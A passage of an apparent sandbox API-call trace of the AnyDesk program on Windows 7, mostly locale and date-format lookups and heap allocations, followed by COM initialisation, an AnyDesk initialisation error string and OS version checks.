out: lpLCData=0x0) returned 7 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x325f18, cchData=7 | out: lpLCData="August") returned 7 [0188.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="August", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="August", lpUsedDefaultChar=0x0) returned 7 [0188.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x7) returned 0x3beba0 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x325f08, cchData=10 | out: lpLCData="September") returned 10 [0188.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="September", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="September", lpUsedDefaultChar=0x0) returned 10 [0188.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa) returned 0x3beea8 [0188.958] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x325ef8, cchData=8 | out: lpLCData="October") returned 8 [0188.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="October", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="October", lpUsedDefaultChar=0x0) returned 8 [0188.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bebb0 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x325f28, cchData=9 | out: lpLCData="November") returned 9 [0188.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="November", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="November", lpUsedDefaultChar=0x0) returned 9 [0188.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x9) returned 0x3beec0 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x325f18, cchData=9 | out: lpLCData="December") returned 9 [0188.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="December", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="December", lpUsedDefaultChar=0x0) returned 9 [0188.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x9) returned 0x3beed8 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x325f18, cchData=3 | out: lpLCData="AM") returned 3 [0188.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AM", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AM", lpUsedDefaultChar=0x0) returned 3 [0188.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3) returned 0x3bebc0 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0188.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x325ef8, cchData=3 | out: lpLCData="PM") returned 3 [0188.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PM", cchWideChar=-1, lpMultiByteStr=0x325f84, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PM", lpUsedDefaultChar=0x0) returned 3 [0188.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3) returned 0x3bebd0 [0188.960] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.960] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x325f28, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0188.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M/d/yyyy", cchWideChar=-1, lpMultiByteStr=0x325fc0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M/d/yyyy", lpUsedDefaultChar=0x0) returned 9 [0188.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x9) returned 0x3beef0 [0188.960] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 20 [0188.960] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x325f08, cchData=20 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0188.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dddd, MMMM dd, yyyy", cchWideChar=-1, lpMultiByteStr=0x325fac, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dddd, MMMM dd, yyyy", lpUsedDefaultChar=0x0) returned 20 [0188.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3bd550 [0188.960] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0188.960] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x325f08, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0188.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h:mm:ss tt", cchWideChar=-1, lpMultiByteStr=0x325f98, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h:mm:ss tt", lpUsedDefaultChar=0x0) returned 11 [0188.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb) returned 0x3bef08 [0188.960] GetLocaleInfoW (in: Locale=0x409, LCType=0x20001009, lpLCData=0x325f80, cchData=2 | out: lpLCData="\x01") returned 2 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bebe0 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x3bebe0, cchData=4 | out: lpLCData="Mon") returned 4 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bebf0 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x3bebf0, cchData=4 | out: lpLCData="Tue") returned 4 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec00 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x3bec00, cchData=4 | out: lpLCData="Wed") returned 4 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec10 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x3bec10, cchData=4 | out: lpLCData="Thu") returned 4 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec20 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x3bec20, cchData=4 | out: lpLCData="Fri") returned 4 [0188.961] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec30 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x3bec30, cchData=4 | out: lpLCData="Sat") returned 4 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec40 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x3bec40, cchData=4 | out: lpLCData="Sun") returned 4 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0188.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe) returned 0x3bef20 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x3bef20, cchData=7 | out: lpLCData="Monday") returned 7 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0188.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3bef38 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x3bef38, cchData=8 | out: lpLCData="Tuesday") returned 8 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0188.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3bd570 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x3bd570, cchData=10 | out: lpLCData="Wednesday") returned 10 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3bd590 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x3bd590, cchData=9 | out: lpLCData="Thursday") returned 9 [0188.962] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0188.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe) returned 0x3bef50 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x3bef50, cchData=7 | out: lpLCData="Friday") returned 7 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3bd5b0 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x3bd5b0, cchData=9 | out: lpLCData="Saturday") returned 9 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0188.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe) returned 0x3bef68 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x3bef68, cchData=7 | out: lpLCData="Sunday") returned 7 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec50 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x3bec50, cchData=4 | out: lpLCData="Jan") returned 4 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec60 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x3bec60, cchData=4 | out: lpLCData="Feb") returned 4 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bec70 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x3bec70, cchData=4 | out: lpLCData="Mar") returned 4 [0188.963] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf290 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x3bf290, cchData=4 | out: lpLCData="Apr") returned 4 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf2a0 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x3bf2a0, cchData=4 | out: lpLCData="May") returned 4 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf2b0 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x3bf2b0, cchData=4 | out: lpLCData="Jun") returned 4 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf2c0 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x3bf2c0, cchData=4 | out: lpLCData="Jul") returned 4 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf2d0 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x3bf2d0, cchData=4 | out: lpLCData="Aug") returned 4 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf2e0 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x3bf2e0, cchData=4 | out: lpLCData="Sep") returned 4 [0188.964] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf2f0 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x3bf2f0, cchData=4 | out: lpLCData="Oct") returned 4 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf300 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x3bf300, cchData=4 | out: lpLCData="Nov") returned 4 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf310 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x3bf310, cchData=4 | out: lpLCData="Dec") returned 4 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0188.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3bef80 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x3bef80, cchData=8 | out: lpLCData="January") returned 8 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3bd5d0 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x3bd5d0, cchData=9 | out: lpLCData="February") returned 9 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0188.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3bef98 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x3bef98, cchData=6 | out: lpLCData="March") returned 6 [0188.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0188.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3befb0 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x3befb0, cchData=6 | out: lpLCData="April") returned 6 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0188.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3bf320 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x3bf320, cchData=4 | out: lpLCData="May") returned 4 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0188.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa) returned 0x3befc8 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x3befc8, cchData=5 | out: lpLCData="June") returned 5 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0188.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa) returned 0x3befe0 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x3befe0, cchData=5 | out: lpLCData="July") returned 5 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0188.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe) returned 0x3beff8 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x3beff8, cchData=7 | out: lpLCData="August") returned 7 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0188.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3bd5f0 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x3bd5f0, cchData=10 | out: lpLCData="September") returned 10 [0188.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0188.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3bf010 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x3bf010, cchData=8 | out: lpLCData="October") returned 8 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3bd610 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x3bd610, cchData=9 | out: lpLCData="November") returned 9 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3bd630 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x3bd630, cchData=9 | out: lpLCData="December") returned 9 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0188.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6) returned 0x3bf330 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x3bf330, cchData=3 | out: lpLCData="AM") returned 3 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0188.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6) returned 0x3bf340 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x3bf340, cchData=3 | out: lpLCData="PM") returned 3 [0188.967] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0188.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3bd650 [0188.968] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x3bd650, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0188.968] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 20 [0188.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x28) returned 0x3bf678 [0188.968] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x3bf678, cchData=20 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0188.968] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0188.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x16) returned 0x3bd670 [0188.968] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x3bd670, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0188.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x355) returned 0x3bf6a8 [0188.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf6a8 | out: hHeap=0x3b0000) returned 1 [0188.970] GetLastError () returned 0x0 [0188.970] SetLastError (dwErrCode=0x0) [0188.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x32629c | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x32629c) returned 1 [0188.970] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1) returned 0x3bf350 [0188.970] GetLastError () returned 0x0 [0188.970] SetLastError (dwErrCode=0x0) [0188.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x3bf350, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x32629c | out: lpMultiByteStr="", lpUsedDefaultChar=0x32629c) returned 1 [0188.970] GetLastError () returned 0x0 [0188.970] SetLastError (dwErrCode=0x0) [0188.970] GetLastError () returned 0x0 [0188.971] SetLastError (dwErrCode=0x0) [0188.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xd8) returned 0x3bf6a8 [0188.971] GetLastError () returned 0x0 [0188.971] SetLastError (dwErrCode=0x0) [0188.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x355) returned 0x3bf788 [0188.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf788 | out: hHeap=0x3b0000) returned 1 [0188.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be138 | out: hHeap=0x3b0000) returned 1 [0188.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf350 | out: hHeap=0x3b0000) returned 1 [0188.974] GetLastError () returned 0x0 [0188.974] SetLastError (dwErrCode=0x0) [0188.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x3bd494, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0188.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0x3be138 [0188.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x3bd494, cbMultiByte=-1, lpWideCharStr=0x3be13c, cchWideChar=27 | out: lpWideCharStr="English_United States.1252") returned 27 [0188.974] OleInitialize (pvReserved=0x0) returned 0x0 [0188.981] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0189.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faa80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0189.743] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xb2) returned 0x3bf788 [0189.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faa80, cbMultiByte=-1, lpWideCharStr=0x3bf788, cchWideChar=89 | out: lpWideCharStr="Unable to initialize AnyDesk.\nPlease contact support@anydesk.com if you see this error.\n") returned 89 [0189.744] GetVersionExW (in: lpVersionInformation=0x325fc4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x325fc4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0189.744] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x8 [0189.744] VerSetConditionMask (ConditionMask=0x8, TypeMask=0x80000000, Condition=0x1) returned 0x9 [0189.744] VerifyVersionInfoW (in: lpVersionInformation=0x325e84, dwTypeMask=0x3, dwlConditionMask=0x9 | out: lpVersionInformation=0x325e84) returned 0 [0189.744] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x8 [0189.744] VerSetConditionMask (ConditionMask=0x8, TypeMask=0x80000000, Condition=0x1) returned 0x9 [0189.744] VerifyVersionInfoW (in: lpVersionInformation=0x325e84, dwTypeMask=0x3, dwlConditionMask=0x9 | out: lpVersionInformation=0x325e84) returned 0 [0189.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a171ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0189.744] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd690 [0189.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a171ec, cbMultiByte=-1, lpWideCharStr=0x3bd690, cchWideChar=10 | out: lpWideCharStr="Windows 7") returned 10 [0189.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fca40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0189.744] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 